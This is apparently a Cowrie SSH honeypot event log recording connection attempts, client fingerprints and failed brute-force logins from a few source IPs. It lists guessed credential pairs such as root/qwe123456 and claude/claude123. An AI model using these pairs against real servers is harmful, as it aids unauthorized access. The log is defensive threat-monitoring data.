{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d01d78f3b8","protocol":"ssh","message":"New connection: 192.109.200.78:35324 (159.203.135.109:22) [session: 95d01d78f3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.272971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.277818Z","src_ip":"192.109.200.78","session":"95d01d78f3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.362107Z","src_ip":"192.109.200.78","session":"95d01d78f3b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.620433Z","src_ip":"192.109.200.78","session":"95d01d78f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33046,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c20a1fd48f","protocol":"ssh","message":"New connection: 159.203.92.129:33046 (159.203.135.109:22) [session: 28c20a1fd48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.718912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.723445Z","src_ip":"159.203.92.129","session":"28c20a1fd48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.728582Z","src_ip":"159.203.92.129","session":"28c20a1fd48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MasterFeng","password":"MasterFeng123","message":"login attempt [MasterFeng/MasterFeng123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:38.747373Z","src_ip":"159.203.92.129","session":"28c20a1fd48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:39.715013Z","src_ip":"192.109.200.78","session":"95d01d78f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:39.756237Z","src_ip":"159.203.92.129","session":"28c20a1fd48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48624,"dst_ip":"159.203.135.109","dst_port":22,"session":"06eec2270296","protocol":"ssh","message":"New connection: 176.65.139.95:48624 (159.203.135.109:22) [session: 06eec2270296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:41.302286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:41.311372Z","src_ip":"176.65.139.95","session":"06eec2270296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:41.388187Z","src_ip":"176.65.139.95","session":"06eec2270296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:41.732776Z","src_ip":"176.65.139.95","session":"06eec2270296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:43.095052Z","src_ip":"176.65.139.95","session":"06eec2270296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35340,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ef94fccc722","protocol":"ssh","message":"New connection: 192.109.200.78:35340 (159.203.135.109:22) [session: 7ef94fccc722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:43.312064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:43.346320Z","src_ip":"192.109.200.78","session":"7ef94fccc722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:43.398323Z","src_ip":"192.109.200.78","session":"7ef94fccc722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:43.716866Z","src_ip":"192.109.200.78","session":"7ef94fccc722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff4964d5bea","protocol":"ssh","message":"New connection: 194.59.206.2:15356 (10.17.0.5:22) [session: 7ff4964d5bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:44.584018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:44.610487Z","src_ip":"194.59.206.2","session":"7ff4964d5bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:44.804049Z","src_ip":"192.109.200.78","session":"7ef94fccc722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:46.086770Z","src_ip":"194.59.206.2","session":"7ff4964d5bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35350,"dst_ip":"159.203.135.109","dst_port":22,"session":"e532c7c99d7b","protocol":"ssh","message":"New connection: 192.109.200.78:35350 (159.203.135.109:22) [session: e532c7c99d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:46.709675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:46.715667Z","src_ip":"192.109.200.78","session":"e532c7c99d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:46.721818Z","src_ip":"194.59.206.2","session":"7ff4964d5bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:46.800121Z","src_ip":"192.109.200.78","session":"e532c7c99d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:47.051753Z","src_ip":"192.109.200.78","session":"e532c7c99d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:48.138319Z","src_ip":"192.109.200.78","session":"e532c7c99d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48636,"dst_ip":"159.203.135.109","dst_port":22,"session":"b92c8bf638f5","protocol":"ssh","message":"New connection: 176.65.139.95:48636 (159.203.135.109:22) [session: b92c8bf638f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:48.198406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:48.203162Z","src_ip":"176.65.139.95","session":"b92c8bf638f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:48.358905Z","src_ip":"176.65.139.95","session":"b92c8bf638f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:49.079299Z","src_ip":"176.65.139.95","session":"b92c8bf638f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:50.170711Z","src_ip":"176.65.139.95","session":"b92c8bf638f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42190,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a363b0bb147","protocol":"ssh","message":"New connection: 192.109.200.78:42190 (159.203.135.109:22) [session: 4a363b0bb147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:50.804273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:50.809209Z","src_ip":"192.109.200.78","session":"4a363b0bb147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:50.895415Z","src_ip":"192.109.200.78","session":"4a363b0bb147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:51.143269Z","src_ip":"192.109.200.78","session":"4a363b0bb147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:52.238956Z","src_ip":"192.109.200.78","session":"4a363b0bb147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42200,"dst_ip":"159.203.135.109","dst_port":22,"session":"729b53d4687a","protocol":"ssh","message":"New connection: 192.109.200.78:42200 (159.203.135.109:22) [session: 729b53d4687a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.098061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.102818Z","src_ip":"192.109.200.78","session":"729b53d4687a","protocol":"ssh"}
